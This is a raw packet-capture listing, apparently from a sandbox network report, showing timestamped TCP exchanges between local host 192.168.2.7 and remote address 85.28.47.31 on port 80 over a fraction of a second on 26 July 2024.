Jul 26, 2024 08:57:40.476505995 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.476510048 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.476524115 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.476537943 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.476537943 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.476540089 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.476553917 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.476568937 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.476573944 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.476588964 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.476604939 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.476619005 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.476628065 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.476628065 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.476633072 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.476648092 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.476663113 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.476667881 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.476667881 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.476677895 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.476716995 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.476716995 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.476742983 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.476793051 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.477319956 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.477343082 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.477359056 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.477374077 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.477382898 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.477382898 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.477389097 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.477405071 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.477407932 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.477418900 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.477427006 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.477427006 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.477433920 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.477457047 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.477458000 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.477477074 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.477493048 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.477508068 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.477521896 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.477536917 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.477551937 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.477566957 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.477569103 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.477581024 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.477596045 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.477611065 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.477613926 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.477613926 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.477613926 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.477613926 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.477626085 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.477663994 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.478383064 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.478413105 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.478427887 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.478441000 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.478455067 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.478456974 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.478456974 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.478467941 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.478471041 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.478485107 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.478501081 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.478514910 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.478524923 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.478524923 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.478528976 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.478543043 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.478543997 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.478558064 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.478571892 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.478586912 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.478589058 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.478589058 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.478600979 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.478612900 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.478615999 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.478631020 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.478643894 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.478645086 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.478662014 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.478677034 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.478693962 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.478693962 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.478717089 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.479479074 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.479495049 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.479509115 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.479523897 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.479538918 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.479552984 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.479554892 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.479568005 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.479578972 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.479578972 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.479583025 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.479598045 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.479613066 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.479638100 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.479638100 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.479676008 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.557326078 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.557382107 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.557398081 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.557420969 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.557420969 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.557447910 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.557481050 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.557497025 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.557514906 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.557532072 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.557532072 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.557553053 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.557673931 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.557689905 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.557710886 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.557728052 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.558687925 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.558715105 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.558729887 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.558753014 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.558753014 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.558815956 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.558860064 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.558912992 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.558967113 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.558984041 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.559000015 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.559025049 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.559025049 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.559041023 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.562975883 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.563013077 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.563029051 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.563034058 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.563071966 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.563071966 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.563220024 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.563235998 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.563251019 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.563267946 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.563270092 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.563282013 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.563298941 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.563339949 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.563374043 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.563389063 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.563405037 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.563429117 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.563431025 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.563431025 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.563467979 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.563467979 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.563510895 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.563524961 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.563539028 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.563551903 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.563560963 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.563565016 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.563585043 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.563596964 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.563596964 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.563599110 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.563615084 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.563627958 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.563643932 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.563644886 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.563750982 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.563919067 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.564014912 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.564096928 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.564111948 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.564126968 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.564133883 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.564141989 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.564148903 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.564157009 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.564172029 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.564183950 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.564183950 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.564187050 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.564198017 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.564201117 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.564217091 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.564228058 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.564230919 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.564248085 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.564265013 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.564281940 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.564310074 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.564956903 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.564985037 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565001011 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565016985 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565018892 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.565018892 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.565032005 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565042019 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.565047979 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565062046 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565076113 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.565076113 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.565077066 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565092087 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565105915 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565109968 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.565120935 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565135002 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.565135002 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565150023 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565164089 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565175056 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.565175056 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.565176964 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565191031 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565206051 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565220118 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565222025 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.565222025 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.565234900 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565288067 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.565288067 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.565608025 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565623999 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565638065 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565653086 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565666914 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565666914 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.565666914 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.565681934 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565697908 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565707922 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.565707922 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.565740108 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565756083 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565768957 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565779924 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.565779924 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.565784931 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565799952 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565814018 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565829039 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565831900 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.565831900 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.565843105 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565854073 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.565857887 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565874100 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565888882 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565892935 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.565902948 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.565932989 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.565943956 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.566711903 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.566730976 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.566745043 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.566761017 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.566775084 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.566787004 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.566787004 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.566791058 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.566804886 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.566821098 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.566827059 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.566833973 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.566843987 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.566849947 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.566864014 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.566879988 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.566891909 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.566894054 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.566909075 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.566922903 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.566937923 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.566940069 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.566940069 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.566953897 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.566967964 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.566977978 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.566982031 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.566992044 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.566998005 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.567039013 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.567039013 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.567586899 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.567604065 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.567620039 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.567635059 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.567645073 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.567645073 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.567650080 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.567663908 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.567667007 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.567682028 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.567692995 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.567715883 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.645366907 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.645412922 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.645428896 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.645442009 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.645445108 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.645467043 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.645467043 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.645487070 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.645515919 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.645531893 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.645582914 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.645582914 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.645647049 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.645734072 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.646625996 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.646766901 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.646781921 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.646804094 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.646817923 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.646859884 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.646859884 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.646943092 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.646958113 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.647003889 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.647003889 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.647030115 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.647044897 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.647092104 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.647092104 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.650969982 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.651034117 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.651035070 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.651051998 CEST	80	49709	85.28.47.31	192.168.2.7
